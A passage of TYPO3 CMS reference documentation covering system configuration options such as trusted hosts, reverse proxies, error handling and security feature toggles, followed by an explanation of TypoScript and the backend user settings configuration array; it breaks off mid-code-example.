.*\.example\.(org|com) matches all hostnames with subdomains from .example.org and .example.com.

Be aware that HTTP Host header may also contain a port. If your installation

runs on a specific port, you need to explicitly allow this in your pattern,

for example example\.org:88 allows only example.org:88, not example.org. To disable this check completely (not recommended because it is insecure) you can use .* as pattern.

Have also a look into the security guidelines.

devIPmask

devIPmask
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask']
Default
'127.0.0.1,::1'

Defines a list of IP addresses which will allow development output to display. The debug() function will use this as a filter. See the function \TYPO3\CMS\Core\Utility\GeneralUtilitycmpIP() for details on syntax. Setting this to blank value will deny all. Setting to "*" will allow all.

Have also a look into the security guidelines.

ddmmyy

ddmmyy
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['ddmmyy']
Default
'Y-m-d'

On how to format a date, see PHP function date().

hhmm

hhmm
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['hhmm']
Default
'H:i'

Format of Hours-Minutes - see PHP-function date()

loginCopyrightWarrantyProvider

loginCopyrightWarrantyProvider
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['loginCopyrightWarrantyProvider']
Default
''

If you provide warranty for TYPO3 to your customers insert you (company) name here. It will appear in the login-dialog as the warranty provider. (You must also set URL below).

loginCopyrightWarrantyURL

loginCopyrightWarrantyURL
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['loginCopyrightWarrantyURL']
Default
''

Add the URL where you explain the extend of the warranty you provide. This URL is displayed in the login dialog as the place where people can learn more about the conditions of your warranty. Must be set (more than 10 chars) in addition with the loginCopyrightWarrantyProvider message.

textfile_ext

textfile_ext
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['textfile_ext']
Default
'txt,ts,typoscript,html,htm,css,tmpl,js,sql,xml,csv,xlf,yaml,yml'

Text file extensions. Those that can be edited. Executable PHP files may not be editable if disallowed!

mediafile_ext

mediafile_ext
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['mediafile_ext']
Default
'gif,jpg,jpeg,bmp,png,pdf,svg,ai,mp3,wav,mp4,ogg,flac,opus,webm,youtube,vimeo'

Commalist of file extensions perceived as media files by TYPO3. Must be written in lower case with no spaces between.

miscfile_ext

miscfile_ext
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['miscfile_ext']
Default
'zip'

New in version 13.4.12 / 12.4.31

Allows specifying file extensions that don't belong to either textfile_ext or mediafile_ext, such as zip or xz.

binPath

binPath
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['binPath']
Default
''

List of absolute paths where external programs should be searched for. for example /usr/local/webbin/,/home/xyz/bin/. (ImageMagick path have to be configured separately)

binSetup

binSetup
Type
multiline
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['binSetup']
Default
''

List of programs (separated by newline or comma). By default programs will be searched in default paths and the special paths defined by binPath. When PHP has openbasedir enabled, the programs can not be found and have to be configured here.

Example: perl=/usr/bin/perl,unzip=/usr/local/bin/unzip

setMemoryLimit

setMemoryLimit
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['setMemoryLimit']
Default
0

Memory limit in MB: If more than 16, TYPO3 will try to use ini_set() to set the memory limit of PHP to the value. This works only if the function ini_set() is not disabled by your sysadmin.

phpTimeZone

phpTimeZone
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['phpTimeZone']
Default
''

Timezone to force for all date() and mktime() functions. A list of supported values can be found at php.net.

If blank, a valid fallback will be searched for by PHP ( date.timezone in php.ini, server defaults, etc); and if no fallback is found, the value of "UTC" is used instead.

UTF8filesystem

UTF8filesystem
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['UTF8filesystem']
Default
true

If set to true, then TYPO3 uses UTF-8 to store file names. This allows for accented latin letters as well as any other non-latin characters like Cyrillic and Chinese.

If set to false, any file that contains characters like umlauts, or if the file name consists only of "special" characters such as Japanese, then the file will be renamed to something "safe" when uploaded in the backend.

systemLocale

systemLocale
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['systemLocale']
Default
''

Locale used for certain system related functions, for example escaping shell commands. If problems with filenames containing special characters occur, the value of this option is probably wrong. See php function setlocale().

reverseProxyIP

reverseProxyIP
Type
list
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyIP']
Default
''
allowedValues
1 '', '*' or a comma separated list of IPv4 or IPv6 addresses in CIDR-notation. For IPv4 addresses wildcards are additionally supported.

If TYPO3 is behind one or more (intransparent) reverse proxies or load balancers the IP addresses or CIDR ranges must be added here and reverseProxyHeaderMultiValue must be set to first or last.

config/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyHeaderMultiValue'] = 'first';
$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyIP'] = '192.168.0.0/16';
Copied!

reverseProxyHeaderMultiValue

reverseProxyHeaderMultiValue
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyHeaderMultiValue']
allowedValues
1 none Do not evaluate the reverse proxy header
first
Use the first IP address in the proxy header
last
Use the last IP address in the proxy header
Default

'none'

Position of the authoritative IP address within the X-Forwarded-For header (for example, X-Forwarded-For: 1.2.3.4, 2.3.4.5, 3.4.5.6 uses 1.2.3.4 with first and 3.4.5.6 with last).

reverseProxyPrefix

reverseProxyPrefix
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyPrefix']
Default
''

Optional prefix to be added to the internal URL (SCRIPT_NAME and REQUEST_URI).

Example: When proxying external.example.org to internal.example.org/prefix this has to be set to prefix

reverseProxySSL

reverseProxySSL
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxySSL']
Default
''
allowedValues
1 '', '*' or a comma separated list of IPv4 or IPv6 addresses in CIDR-notation. For IPv4 addresses wildcards are additionally supported.

* or a list of IP addresses of proxies that use SSL (https) for the connection to the client, but an unencrypted connection (http) to the server. If * all proxies defined in [SYS][reverseProxyIP] use SSL.

reverseProxyPrefixSSL

reverseProxyPrefixSSL
Type
text
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['reverseProxyPrefixSSL']
Default
''

Prefix to be added to the internal URL (SCRIPT_NAME and REQUEST_URI) when accessing the server via an SSL proxy. This setting overrides [SYS][reverseProxyPrefix].

displayErrors

displayErrors
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors']
Default
-1
allowedValues
1 -1 TYPO3 does not touch the PHP setting. If [SYS][devIPmask] matches the users IP address, the configured [SYS][debugExceptionHandler] is used instead of the [SYS][productionExceptionHandler] to handle exceptions.
0
Live: Do not display any PHP error message. Sets display_errors=0. Overrides the value of [SYS][exceptionalErrors] and sets it to 0 (= no errors are turned into exceptions). The configured [SYS][productionExceptionHandler] is used as exception handler.
1
Debug: Display error messages with the registered [SYS][errorHandler]. Sets display_errors=1. The configured [SYS][debugExceptionHandler] is used as exception handler.

Configures whether PHP errors or exceptions should be displayed, effectively setting the PHP option display_errors during runtime.

Have also a look into the security guidelines.

productionExceptionHandler

productionExceptionHandler
Type
phpClass
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['productionExceptionHandler']
Default
\TYPO3\CMS\Core\Error\ProductionExceptionHandler::class

Classname to handle exceptions that might happen in the TYPO3-code. Leave this empty to disable exception handling. The default exception handler displays a nice error message when something goes wrong. The error message is logged to the configured logs.

Note: The configured "productionExceptionHandler" is used if [SYS][displayErrors] is set to "0" or is set to "-1" and [SYS][devIPmask] does not match the user's IP.

debugExceptionHandler

debugExceptionHandler
Type
phpClass
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['debugExceptionHandler']
Default
\TYPO3\CMS\Core\Error\DebugExceptionHandler::class

Classname to handle exceptions that might happen in the TYPO3 code. Leave empty to disable the exception handling. The default exception handler displays the complete stack trace of any encountered exception. The error message and the stack trace is logged to the configured logs.

Note: The configured "debugExceptionHandler" is used if [SYS][displayErrors] is set to "1" or is set to "-1" or "2" and the [SYS][devIPmask] matches the users IP.

errorHandler

errorHandler
Type
phpClass
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['errorHandler']
Default
\TYPO3\CMS\Core\Error\ErrorHandler::class

Classname to handle PHP errors. This class displays and logs all errors that are registered as [SYS][errorHandlerErrors]. Leave empty to disable error handling. Errors will be logged and can be sent to the optionally installed developer log or to the syslog database table. If an error is registered in [SYS][exceptionalErrors] it will be turned into an exception to be handled by the configured exceptionHandler.

errorHandlerErrors

errorHandlerErrors
Type
errors
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['errorHandlerErrors']
Default
E_ALL & ~(E_STRICT | E_NOTICE | E_COMPILE_WARNING | E_COMPILE_ERROR | E_CORE_WARNING | E_CORE_ERROR | E_PARSE | E_ERROR)

The E_* constants that will be handled by the [SYS][errorHandler]. Not all PHP error types can be handled:

E_USER_DEPRECATED will always be handled, regardless of this setting. Default is 30466 = E_ALL & ~(E_STRICT | E_NOTICE | E_COMPILE_WARNING | E_COMPILE_ERROR | E_CORE_WARNING | E_CORE_ERROR | E_PARSE | E_ERROR) (see PHP documentation).

exceptionalErrors

exceptionalErrors
Type
errors
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['exceptionalErrors']
Default
E_ALL & ~(E_STRICT | E_NOTICE | E_COMPILE_WARNING | E_COMPILE_ERROR | E_CORE_WARNING | E_CORE_ERROR | E_PARSE | E_ERROR | E_DEPRECATED | E_USER_DEPRECATED | E_WARNING | E_USER_ERROR | E_USER_NOTICE | E_USER_WARNING)

The E_* constant that will be converted into an exception by the default [SYS][errorHandler]. Default is 4096 = E_ALL & ~(E_STRICT | E_NOTICE | E_COMPILE_WARNING | E_COMPILE_ERROR | E_CORE_WARNING | E_CORE_ERROR | E_PARSE | E_ERROR | E_DEPRECATED | E_USER_DEPRECATED | E_WARNING | E_USER_ERROR | E_USER_NOTICE | E_USER_WARNING) (see PHP documentation).

E_USER_DEPRECATED is always excluded to avoid exceptions to be thrown for deprecation messages.

belogErrorReporting

belogErrorReporting
Type
errors
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['belogErrorReporting']
Default
E_ALL & ~(E_STRICT | E_NOTICE)

Configures which PHP errors should be logged to the "syslog" database table (extension belog). If set to "0" no PHP errors are logged to the sys_log table. Default is 30711 = E_ALL & ~(E_STRICT | E_NOTICE) (see PHP documentation).

generateApacheHtaccess

generateApacheHtaccess
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['generateApacheHtaccess']
Default
1

TYPO3 can create .htaccess files which are used by Apache Webserver. They are useful for access protection or performance improvements. Currently .htaccess files in the following directories are created, if they do not exist: typo3temp/compressor/.

You want to disable this feature, if you are not running Apache or want to use own rule sets.

ipAnonymization

ipAnonymization
Type
int
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['ipAnonymization']
Default
1
allowedValues
1 0 Disabled - Do not modify IP addresses at all 1 Mask the last byte for IPv4 addresses / Mask the Interface ID for IPv6 addresses (default) 2 Mask the last two bytes for IPv4 addresses / Mask the Interface ID and SLA ID for IPv6 addresses

Configures if and how IP addresses stored via TYPO3s API should be anonymized ("masked") with a zero-numbered replacement. This is respected within anonymization task only, not while creating new log entries.

systemMaintainers

systemMaintainers
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['systemMaintainers']
Default
null

A list of backend user IDs allowed to access the Install Tool

features

features
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']

New features of TYPO3 that are activated on new installations but upgrading installations may still use the old behaviour.

These settings are feature toggles and can be changed in the Backend module Settings in the section Feature Toggles, but not in Configure Installation-Wide Options.

form.legacyUploadMimeTypes

form.legacyUploadMimeTypes
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['form.legacyUploadMimeTypes']
Default
true

If on, some mime types are predefined for the "FileUpload" and "ImageUpload" elements of the "form" extension, which always allows file uploads of these types, no matter the specific form element definition.

redirects.hitCount

redirects.hitCount
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['redirects.hitCount']
Default
false

If on, and if extension "redirects" is loaded, each performed redirect is counted and last hit time is logged to the database.

security.backend.enforceReferrer

security.backend.enforceReferrer
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['security.backend.enforceReferrer']
Default
true

If on, HTTP referrer headers are enforced for backend and install tool requests to mitigate potential same-site request forgery attacks. The behavior can be disabled in case HTTP proxies filter required referer header. As this is a potential security risk, it is recommended to enable this option.

security.frontend.enforceContentSecurityPolicy

security.frontend.enforceContentSecurityPolicy
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['security.frontend.enforceContentSecurityPolicy']
Default
false

If enabled, the Content Security Policy is enforced in frontend scope (HTTP header Content-Security-Policy).

This option can be enabled in combination with security.frontend.reportContentSecurityPolicy. Then both headers are set.

security.frontend.reportContentSecurityPolicy

security.frontend.reportContentSecurityPolicy
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['security.frontend.reportContentSecurityPolicy']
Default
false

If enabled, the Content Security Policy is applied in frontend scope as report-only (HTTP header Content-Security-Policy-Report-Only).

This option can be enabled in combination with security.frontend.enforceContentSecurityPolicy. Then both headers are set.

security.frontend.allowInsecureFrameOptionInShowImageController

security.frontend.allowInsecureFrameOptionInShowImageController
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['security.frontend.allowInsecureFrameOptionInShowImageController']
Default
false

New in version 13.1, 12.4.15, 11.5.37

This option configures, whether the show image controller (eID tx_cms_showpic) is allowed to supply an unsecured &frame URI parameter for backwards compatibility. The &frame parameter is not utilized by the TYPO3 core itself anymore.

It is disabled by default and is strongly suggested to leave it turned off, for details see Important: #103306 - Frame GET parameter in tx_cms_showpic eID disabled. To enable it:

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['security.frontend.allowInsecureFrameOptionInShowImageController'] = true;
Copied!

security.frontend.allowInsecureSiteResolutionByQueryParameters

security.frontend.allowInsecureSiteResolutionByQueryParameters
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['security.frontend.allowInsecureSiteResolutionByQueryParameters']
Default
false

Resolving sites by the id and L HTTP query parameters is now denied by default. However, it is still allowed to resolve a particular page by, for example, "example.org" - as long as the page ID 123 is in the scope of the site configured for the base URL "example.org".

The flag can be used to reactivate the previous behavior:

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['security.frontend.allowInsecureSiteResolutionByQueryParameters'] = true;
Copied!

security.usePasswordPolicyForFrontendUsers

security.usePasswordPolicyForFrontendUsers

Changed in version 13.0

availablePasswordHashAlgorithms

availablePasswordHashAlgorithms
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['availablePasswordHashAlgorithms']
Default
1

A list of available password hash mechanisms. Extensions may register additional mechanisms here.

$GLOBALS['TYPO3_CONF_VARS']['SYS']['linkHandler']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['linkHandler']
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['linkHandler']

Links entered in the TYPO3 backend are stored in an internal format in the database, like t3://page?uid=42. The handlers for the different resource keys (like page in the example) are registered as link handlers.

The TYPO3 Core registers the following link handlers:

Additional link handlers can be added by extensions.

lang

lang
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['lang']

requireApprovedLocalizations

requireApprovedLocalizations
Type
bool
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['lang']['requireApprovedLocalizations']
Default
true

The attribute approved of the XLIFF standard is respected by TYPO3 since version 12.0 when parsing XLF files. This attribute can either have the value yes or no and indicates whether the translation is final or not.

EXT:my_extension/Resources/Private/Language/locallang.xml
<trans-unit id="label2" approved="yes">
    <source>This is label #2</source>
    <target>Ceci est le libellé no. 2</target>
</trans-unit>
Copied!

This setting can be used to control the behavior:

true
Only translations with the attribute approved set to yes will be used. Any non-approved translation (value is set to no) will be ignored. If the attribute approved is omitted, the translation is still taken into account.
false
All translations are used.

messenger

messenger

routing

routing
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['messenger']['routing']

The configuration of the routing for the messenger component. By default, TYPO3 uses a synchronous transport ( default) for all messages ( *):

$GLOBALS['TYPO3_CONF_VARS']['SYS']['messenger']['routing'] = [
    '*' => 'default',
];
Copied!

You can set a different transport for a specific message, for example:

$GLOBALS['TYPO3_CONF_VARS']['SYS']['messenger']['routing'][\MyVendor\MyExtension\Queue\Message\DemoMessage::class]
    = 'doctrine';
Copied!

FileInfo

FileInfo

fileExtensionToMimeType

fileExtensionToMimeType
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['FileInfo']['fileExtensionToMimeType']
Default
see EXT:core/Configuration/DefaultConfiguration.php

Static mapping for file extensions to mime types. In special cases the mime type is not detected correctly. Override this array only for cases where the automatic detection does not work correctly!

It is not possible to change this value in the Backend!

This is the default:

$GLOBALS['TYPO3_CONF_VARS']['SYS']['FileInfo']['fileExtensionToMimeType'] = [
    'fileExtensionToMimeType' => [
        'svg' => 'image/svg+xml',
        'youtube' => 'video/youtube',
        'vimeo' => 'video/vimeo',
    ],
],
Copied!

allowedPhpDisableFunctions

allowedPhpDisableFunctions
Type
array
Path
$GLOBALS['TYPO3_CONF_VARS']['SYS']['allowedPhpDisableFunctions']
Default
[]

New in version 13.2

A configuration option to adapt the environment check in the Admin Tools for a list of sanctioned disable_functions.

With this configuration option a system maintainer can add native PHP function names to this list, which are then reported as environment warnings instead of errors.

config/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['allowedPhpDisableFunctions']
    = ['set_time_limit', 'set_file_buffer'];
Copied!

You can also define this in your settings.php file manually or via Admin Tools > Settings > Configure options.

TypoScript

This chapter describes the syntax of TypoScript. The TypoScript syntax and its parser logic is mainly used in two different contexts: Frontend TypoScript to configure frontend rendering and TSconfig to configure backend details for backend users.

While the underlying TypoScript syntax is described in this chapter, both use cases and their details are found in standalone manuals:

Table of Contents:

Introduction

What is TypoScript?

People are sometimes confused about what TypoScript is, where it can be used, and have a tendency to think of it as something complex. This chapter has been written to clarify these assumptions a bit.

Let's start with a basic truth: TypoScript is an efficient syntax for defining information in a hierarchical structure based on plain text.

This means TypoScript does not "do" anything - it just structures information. It's more similar to a markup language like HTML than to a full fledged programming language. Interpreting TypoScript is done in a certain context where single keywords get "meaning" by triggering some processing. For instance, the frontend rendering chain "understands" page = PAGE and sets up certain frontend output related scaffolding due to this.

In more academic terms, TypoScript is not Turing-complete: While there is a concept of "if" (see "conditions"), it is not possible to define dynamic variables ("constants" in TypoScript can't change their value at runtime), and it's also not possible to have programming loops as such. Interpreting TypoScript is done by PHP which may trigger programming loops based on TypoScript configuration, but the syntax does not contain such a construct itself.

TypoScript does not contain data, but configuration: Data is typically stored in the database, edited by backend editors, and (frontend) TypoScript is only used to configure which specific data is retrieved from the database and how it should be processed to prepare output. In the backend, TypoScript (which we call TSconfig in this scope) is used to toggle PHP backend controller functionality, for instance, to enable or disable UI elements, to change defaults, and similar.

TypoScript parsing

Both the frontend and the backend deal with TypoScript syntax. The parser, which translates TypoScript text snippets into some structure (an object tree or a PHP array), that can be interpreted by the frontend or the backend, is thus a core concept and located in the core extension. Integrators and developers don't have to directly deal with the parser in most cases, the system provides higher level API doing all the dirty groundwork.

Developers and integrators with knowledge of PHP can think of the parsed TypoScript as a multidimensional PHP array. In comparison to arrays in PHP, TypoScript syntax allows a more relaxed handling of syntax errors, definition of values with less needed language symbols and an efficient way to copy and unset bigger sub arrays.

Syntax

The TypoScript syntax is describes in-depth in the chapter TypoScript syntax of the TypoScript Reference.

The TypoScript Syntax can be used for both Frontend TypoScript and TSconfig as backend configuration langauge.

The syntax works different then other known configuration languages, therefore it takes some time to get used to it.

Frontend TypoScript

TypoScript in the frontend is the "glue" between database records edited by backend editors, and their output to the website.

It is very powerful and this abstraction layer is one reason that the TYPO3 project survives the ever evolving internet since more than 25 years.

The TypoScript Reference goes into details about the usage of TypoScript in the frontend, and the TypoScript guide is a kickstart for new TypoScript integrators.

TSconfig

"user TSconfig" and "page TSconfig" are very flexible concepts for adding fine-grained configuration to the TYPO3 backend. It is a text-based configuration system where you assign values to keyword strings, using the TypoScript syntax. The Page TSconfig Reference and User TSconfig reference describe in detail how this works and what can be done with it.

User TSconfig

User TSconfig can be set for backend users and groups. Configuration set for backend groups is inherited by the user who is a member of those groups. The available options typically cover user settings like those found in the User Settings module, various backend tweaks (lock user to IP, may user clear caches?, etc.) and backend module configuration.

Page TSconfig

Page TSconfig can be set for each page in the page tree. Pages inherit configuration from parent pages. The available options typically cover backend module configuration, which means that modules related to pages can be configured for different behaviours in different branches of the tree.

It also includes configuration for the FormEngine (Forms to edit content in TYPO3) and the DataHandler (component that takes care of transforming and persisting data structures) behaviours. Again, the point is that the configuration is active for certain branches of the page tree which is useful in projects running many sites in the same page tree.

PHP API

With the rewrite of the TypoScript parser in TYPO3 v12, the parsing logic itself has been entirely marked as internal. Developers typically do not need to deal with all the nasty details and some parts of the parser are still subject to change.

Developers who really need to parse own TypoScript snippets, should have a look at the factory classes located in EXT:core/Classes/TypoScript/, though. They are marked @internal as well, but may be opened in the future. Use them on your own risk at the moment.

TYPO3 already provides frontend TypoScript and TSconfig. Use these APIs for other use cases:

Page TSconfig

The page TSconfig for a specific page can be retrieved using \TYPO3\CMS\Backend\Utility\BackendUtility::getPagesTSconfig(). While the parser creates a tree of PHP objects internally, this method returns only the array representation of the parsed TypoScript:

EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Backend\Utility\BackendUtility;

// Get the page TSconfig for the page with uid 42
$pageTsConfig = BackendUtility::getPagesTSconfig(42);
Copied!

Frontend TypoScript

When calling a TYPO3 frontend page, TypoScript is prepared and parsed by some middlewares. They add the TypoScript request attribute.

Frontend TypoScript plays an important role to create, determine und use the correct page caches, the details in this area are pretty complex. With the continued refactoring of the frontend parsing chain, this part will evolve in the future and further API will evolve allowing extensions to parse TypoScript more easily.

However, extension controllers that need the parsed TypoScript can access the parsed setup as array:

$fullTypoScript = $request->getAttribute('frontend.typoscript')->getSetupArray();
Copied!

Read more about Getting the PSR-7 request object from different contexts.

Myths and FAQ

This section contains a few remarks and answers to questions you may still have.

Myth: "TypoScript Is a scripting language"

This is misleading to say since you will think that TypoScript is like PHP or JavaScript while it is not. From the previous pages you have learned that TypoScript strictly speaking is just a syntax. However when the TypoScript syntax is applied to create output based on frontend TypoScript, then it begins to look like programming.

In any case TypoScript is not comparable to a scripting language like PHP or JavaScript. TypoScript is only an API which is often used to configure underlying PHP code.

Finally the name "TypoScript" is misleading as well. We are sorry about that: Too late to change that now.

Myth: "TypoScript has the same syntax as JavaScript"

TypoScript was designed to be simple to use and understand. Therefore the syntax looks like JavaScript objects to some degree. But again: It is very dangerous to say this since it all stops with the syntax - TypoScript is not a procedural programming language!

Myth: "TypoScript is a proprietary standard"

Since TypoScript is not a scripting language it does not make sense to claim this in comparison to PHP, JavaScript or whatever scripting language.

However, compared to XML or PHP arrays you can say that TypoScript is a proprietary syntax since a PHP array or XML file could be used to contain the same information as TypoScript does. But this is not a drawback. For storage and exchange of content TYPO3 uses SQL (or XML if you need to), for storage of configuration values XML is not suitable anyways - TypoScript is much better at that job.

To claim that TypoScript is a proprietary standard as an argument against TYPO3 is really unfair since the claim makes it sound like TypoScript is a whole new programming language or likewise. Yes, the TypoScript syntax is proprietary but extremely useful and when you get the hang of it, it is very easy to use. In all other cases TYPO3 uses official standards like PHP, SQL, XML, XHTML etc. for all external data storage and manipulation.

The most complex use of TypoScript is probably with the frontend TypoScript. It is understandable that TypoScript has earned a reputation of being complex when you consider how much of the Frontend Engine you can configure through frontend TypoScript. But basically TypoScript is just an API to the PHP functions underneath. And if you think there are a lot of options there it would be no better if you were to use the PHP functions directly! Then there would be maybe even more API documentation to explain the API and you wouldn't have the streamlined abstraction provided by TypoScript Templates. This just served to say: The amount of features and the time it would take to learn about them would not be eliminated, if TypoScript was not invented!

Myth: "TypoScript is very complex"

TypoScript is simple in nature. But certainly it can quickly become complex and get "out of hand" when the amount of code lines grows! This can partly be solved by:

  • Disciplined coding: Organize your TypoScript in a way that you can visually comprehend.
  • Use the backend modules to analyze and clean up your code. This gives you overview as well.

FAQ: "Why not XML Instead?"

A few times TypoScript has been compared with XML since both "languages" are frameworks for storing information. Apart from XML being a W3C standard (and TypoScript still not... :-) ) the main difference is that XML is great for large amounts of information with a high degree of "precision" while TypoScript is great for small amounts of "ad hoc" information - like configuration values normally are.

Actually a data structure defined in TypoScript could also have been modeled in XML. Let's present this fictitious example of how a TypoScript structure could also have been implemented in "TSML" (our fictitious name for the non-existing TypoScript Mark-Up Language):

styles.content.bulletlist = TEXT
styles.content.bulletlist {
  stdWrap.current = 1
  stdWrap.trim = 1
  stdWrap.if.isTrue.current = 1
  # Copying the object "styles.content.parseFunc" to this position
  stdWrap.parseFunc < styles.content.parseFunc
  stdWrap.split {
    token.char = 10
    cObjNum = 1
    1.current < .cObjNum
    1.wrap = <li>
  }
  # Setting wrapping value:
  stdWrap.textStyle.altWrap = {$styles.content.bulletlist.altWrap}
}
Copied!

That was 17 lines of TypoScript code and converting this information into an XML structure could look like this:

<TSML syntax="3">
  <styles>
    <content>
      <bulletlist>
        TEXT
        <stdWrap>
          <current>1</current>
          <trim>1</trim>
          <if>
            <isTrue>
              <current>1</current>
            </isTrue>
          </if>
          <!-- Copying the object "styles.content.parseFunc" to this position -->
          <parseFunc copy="styles.content.parseFunc"/>
          <split>
            <token>
              <char>10</char>
            </token>
            <cObjNum>1</cObjNum>
            <num:1>
              <current>1</current>
              <wrap>&lt;li&gt;</wrap>
            </num:1>
          </split>
          <!-- Setting wrapping value: -->
          <fontTag>&lt;ol type=&quot;1&quot;&gt; | &lt;/ol&gt;</fontTag>
          <textStyle>
            <altWrap>{$styles.content.bulletlist.altWrap}</altWrap>
          </textStyle>
        </stdWrap>
      </bulletlist>
    </content>
  </styles>
</TSML>
Copied!

That was 35 lines of XML - the double amount of lines! And in bytes probably also much bigger. This example clearly demonstrates why not XML! XML will just get in the way, it is not handy for what TypoScript normally does. But hopefully you can at least use this example in your understanding of what TypoScript is compared to XML.

User settings configuration

The user settings module determines what user settings are available for backend users. The users can access the settings by clicking on their name in the top bar and then "User settings".

A number of settings such as backend language, password etc. are available by default. These settings may be extended via extensions as described in Extending the user settings.

The User Settings module has the most complex form in the TYPO3 backend not driven by TCA/TCEforms. Instead it uses its own PHP configuration array $GLOBALS['TYPO3_USER_SETTINGS']. It is quite similar to $GLOBALS['TCA'], but with less options.

The actual values can be accessed via the array $GLOBALS['BE_USER']->uc as described in Get User Configuration Value.

This functionality is provided by the typo3/cms-setup Composer package.

Contents:

['columns'] Section

This contains the configuration array for single fields in the user settings. This array allows the following configurations:

Name Type
string
string
string
string
stringstring
array
array
string
boolean
string
string

type

type
Type
string
Allowed values
button, check, password, select, text, user

Defines the type of the input field

If type == user, then you need to define your own renderType too. If selectable items shall be filled by your own function, then you can use type == select and itemsProcFunc.

Example:

'startModule' => [
   'type' => 'select',
   'itemsProcFunc' => 'TYPO3\\CMS\\Setup\\Controller\\SetupModuleController->renderStartModuleSelect',
   'label' => 'LLL:EXT:setup/mod/locallang.xlf:startModule',
],
Copied!

label

label
Type
string

Label for the input field, should be a pointer to a localized label using the LLL: syntax.

buttonLabel

buttonLabel
Type
string

Text of the button for type=button fields. Should be a pointer to a localized label using the LLL: syntax.

access

access
Type
string
Allowed values
admin

Access control. At the moment only a admin-check is implemented

table

table
Type
stringstring
Allowed values
be_users

If the user setting is saved in a DB table, this property sets the table. At the moment only be_users is implemented.

items

items
Type
array

List of items for type=select fields. This should be a simple associative array with key-value pairs.

itemsProcFunc

itemsProcFunc
Type
array

Defines an external method for rendering items of select-type fields. Contrary to what is done with the TCA you have to render the <select> tag too. Only used by type=select.

Use the usual class->method syntax.

clickData.eventName

clickData.eventName
Type
string

JavaScript event triggered on click.

confirm

confirm
Type
boolean

If true, JavaScript confirmation dialog is displayed.

confirmData.eventName

confirmData.eventName
Type
string

JavaScript event triggered on confirmation.

confirmData.message

confirmData.message
Type
string

Confirmation message.

['showitem'] section

This string is used for rendering the form in the user setup module. It contains a comma-separated list of fields, which will be rendered in that order.

To use a tab insert a --div--;LLL:EXT:foo/... item in the list.

Example (taken from typo3/sysext/setup/ext_tables.php):

'showitem' => '--div--;LLL:EXT:setup/Resources/Private/Language/locallang.xlf:personal_data,realName,email,emailMeAtLogin,avatar,lang,
            --div--;LLL:EXT:setup/Resources/Private/Language/locallang.xlf:passwordHeader,passwordCurrent,password,password2,
            --div--;LLL:EXT:setup/Resources/Private/Language/locallang.xlf:opening,startModule,
            --div--;LLL:EXT:setup/Resources/Private/Language/locallang.xlf:editFunctionsTab,edit_RTE,resizeTextareas_MaxHeight,titleLen,edit_docModuleUpload,showHiddenFilesAndFolders,copyLevels,resetConfiguration'
Copied!

Extending the user settings

Adding fields to the User Settings is done in two steps. First of all, the new fields are added directly to the $GLOBALS['TYPO3_USER_SETTINGS'] array. Then the field is made visible by calling \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addFieldsToUserSettings().

The configuration needs to be put into ext_tables.php.

Here is an example, taken from the "examples" extension:

EXT:examples/ext_tables.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

defined('TYPO3') or die();

$lll = 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:';

$GLOBALS['TYPO3_USER_SETTINGS']['columns']['tx_examples_mobile'] = [
    'label' => $lll . 'be_users.tx_examples_mobile',
